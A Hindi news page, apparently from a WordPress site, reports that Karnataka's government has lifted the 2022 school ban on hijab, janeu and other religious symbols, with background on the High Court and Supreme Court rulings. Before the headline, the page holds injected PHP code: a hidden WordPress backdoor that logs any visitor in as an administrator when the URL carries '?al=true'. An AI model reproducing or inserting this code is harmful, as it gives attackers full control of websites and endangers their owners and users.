// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); कर्नाटक में हिजाब और जनेऊ पर रोक खत्म, CM सिद्दारमैया ने बदला BJP सरकार का फैसला – प्रत्युषा आशा की नयी किरण
देश

कर्नाटक में हिजाब और जनेऊ पर रोक खत्म, CM सिद्दारमैया ने बदला BJP सरकार का फैसला

कर्नाटक

कर्नाटक के स्कूलों में अब छात्र-छात्राओं के हिजाब या जनेऊ पहनने पर रोक नहीं लगेगी। राज्य की सिद्धारमैया सरकार ने 2022 की भाजपा सरकार द्वारा लाए गए उस फैसले को पलट दिया, जिसमें स्कूलों में हिजाब पर प्रतिबंध लगा दिया गया था। कर्नाटक शिक्षा विभाग द्वारा लाए जा रहे नए नियमों में छात्र-छात्राओं को यूनिफॉर्म के साथ जनेऊ, हिजाब, पगड़ी, रुद्राक्ष और स्कॉर्फ पहनने की अनुमति दे दी है।

न्यूज 18 की रिपोर्ट के मुताबिक इस मुद्दे पर बात करते हुए कर्नाटक सरकार में शिक्षा मंत्री मधु बांगराप्पा ने कहा कि कि सरकार की तरफ से यह फैसला लिया गया है कि धार्मिक चिन्हों की वजह से छात्र-छात्राओं को कोई परेशानी नहीं होनी चाहिए। उन्होंने कहा, "पारंपरिक और धार्मिक प्रथाओं के कारण बच्चों को असुविधा नहीं होनी चाहिए। हमने स्पष्टता सुनिश्चित करने के लिए दिशा-निर्देश तैयार किए हैं। मंत्री ने कहा कि मुख्यमंत्री ने विभाग को शैक्षणिक सत्र शुरू होने से पहले नियमों का ढांचा पूरा करने का निर्देश दिया है। उम्मीद है कि ये नियम स्कूलों में यूनिफॉर्म व्यवस्था को बनाए रखते हुए पारंपरिक और धार्मिक प्रतीकों को सीमित अनुमति देंगे।

वहीं इस मुद्दे पर कर्नाटक सरकार की तरफ से कहा गया कि इस फैसले का उद्देश्य शैक्षणिक संस्थानों में अनुशासन और धार्मिक एवं सांस्कृतिक प्रथाओं के सम्मान के बीच संतुलन बनाने के लिए है। माना जा रहा है कि यह फैसला राज्य में हिजाब के मुद्दे पर एक बार फिर से बहस तेज कर सकता है।

भाजपा ने क्यों किया था हिजाब बैन का फैसला?

कर्नाटक में 2021-22 के दौरान कॉलेज आने वाली मुस्लिम लड़कियों को हिजाब पहनने से रोका गया था। इसके बाद यह एक बड़ा सामाजिक और धार्मिक मुद्दा बन गया था। कॉलेज प्रशासन की तरफ से कहा गया था कि यूनिफॉर्म नियम सभी छात्रों के लिए समान रूप से लागू होता है। इसका विरोध करते हुए छात्राओं ने कहा कि हिजाब उनके धर्म की पहचान का हिस्सा है। ऐसे में वह इसे नहीं हटाएंगी। कर्नाटक के साथ-साथ धीरे-धीरे यह विवाद पूरे राज्य में फैल गया। मुस्लिम छात्राओं द्वारा हिजाब को पहनने के लिए की जा रही इस जिद के जवाब में कुछ हिंदू संगठनों ने भगवा शॉल पहनकर कॉलेज आने की कोशिश की, जिसके बाद विवाद बढ़ गया।

इस विवाद को बढ़ता देख, तत्कालीन भाजपा सरकार ने शैक्षणिक संस्थानों में धार्मिक चिन्हों को पहनने पर रोक लगा दी। इसके बाद मामला कोर्ट पहुंचा। इस मामले पर मार्च 2022 में कर्नाटक हाई कोर्ट ने फैसला सुनाया कि हिजाब इस्लाम कि अनिवार्य धार्मिक प्रथा नहीं है। इसके अलावा स्कूलों में यूनिफॉर्म लागू करना सरकार और प्रशासन का क्षेत्र है। ऐसे में राज्य सरकार का आदेश सही है। इसके बाद मामला सुप्रीम कोर्ट पहुंचा। यहां पर दो सदस्यीय बेंट ने एक-एक के मत से फैसला दिया।

2023 में कर्नाटक में कांग्रेस की सरकार आ गई। इसके बाद नई सरकार ने हिजाब बैन के फैसले में छूट दे दी। इसके बाद यह मामला दब गया। हालांकि, अब जबकि फिर से यह फैसला सामने आया है, तो इस पर राजनीतिक विवाद की आशंका बनी हुई है।

Tags

RO No. 13169/ 31

RO No. 13098/ 20

PRATYUSHAASHAKINAYIKIRAN.COM
Editor : Maya Puranik
Permanent Address : Yadu kirana store ke pass Parshuram nagar professor colony raipur cg
Email : puranikrajesh2008@gmail.com
Mobile : -91-9893051148
Website : pratyushaashakinayikiran.com

जनसम्पर्क विभाग – आरएसएस फीड